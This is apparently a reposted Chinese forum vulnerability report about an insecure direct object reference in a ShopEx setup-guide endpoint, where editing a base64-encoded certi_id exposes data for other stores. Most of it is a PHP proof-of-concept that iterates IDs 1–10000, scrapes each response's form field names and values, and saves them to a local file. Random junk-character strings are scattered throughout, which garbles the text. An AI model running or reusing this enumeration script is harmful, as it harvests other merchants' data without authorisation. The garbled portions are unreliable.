ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
5 Y& M# W/ \0 A" Y  W; w3 O# R详细说明：
问题出现在shopex 网店使用向导页面

. E( h7 }: p3 \; Y3 B
( ~5 y% a) i8 Y/ U6 o5 _: d# d
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
' G3 s4 B! b* Q  j
& `8 _  C0 }7 k0 p
' r1 G9 a7 K* g
+ S" B$ G+ Q( b$ w, srefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



/ t: G+ u) u3 i我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
0 x  L; x) {9 J( D$ N

  ?/ m& x* r, s# t
) c- o% b. u- o+ f<?php
+ `. k; ~- g1 q% R  \, G
                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }
1 p8 c8 A! }. M5 m1 W; D
2 D, y5 d1 O3 U! {, `' E' z0 \: ~                function ShowshopExD($cid) {

% Y1 T3 t( ]8 {& B6 a" X5 C9 X$ @                $url='http://guide.ecos.shopex.cn/step2.php';

2 q, q  K. m/ g5 L+ Q                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

+ y+ k4 X. ?' Q; I: a5 J6 c        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

6 M6 S# c3 h9 ]6 z6 }# \" A        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

3 O, m! e3 K1 K% g( y        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

0 c" {" v+ w  F2 G7 H: S        if(strpos($result,$refer))
$ j" A% K0 n) X6 [" V8 d
        {

' c; u' @" s8 p( r$ m2 ]                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
9 U: Q8 _+ {- }
                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
6 N5 E, _& m+ l  g5 P6 f* A
' E7 W. \( T# D3 O% c) @" M9 [( l5 l                        echo $res[1][0].':'.$res[3][0]."\r\n";
: y+ V  K( p) I  X' w. z0 P
& U( b1 A9 u* j                        $col =$res[1][0].':'.$res[3][0]."\r\n";

2 ?/ g# B: Z, H7 W: ]' G3 @8 p                        fwrite($fp, $col, strlen($col));
, r6 w2 ?6 H. H
& Q4 R0 C9 k) r  Z                }

                echo '--------------------------------'."\r\n";

                fclose($fp);
/ i5 w; d9 }5 J3 B! }  V0 u
8 D1 `7 V3 g" R- G) ]' G        }

        flush();

1 K. r# r9 |0 E+ l: D+ f        curl_close($ch);

7 ^7 ]9 }. N. `4 O                }
' w7 X1 o4 V* r2 O* D& y( i
6 t4 V- X3 u( }4 X5 {0 O2 L?>
. _4 D2 `$ f; o* B漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
- X: k1 t( n# A' j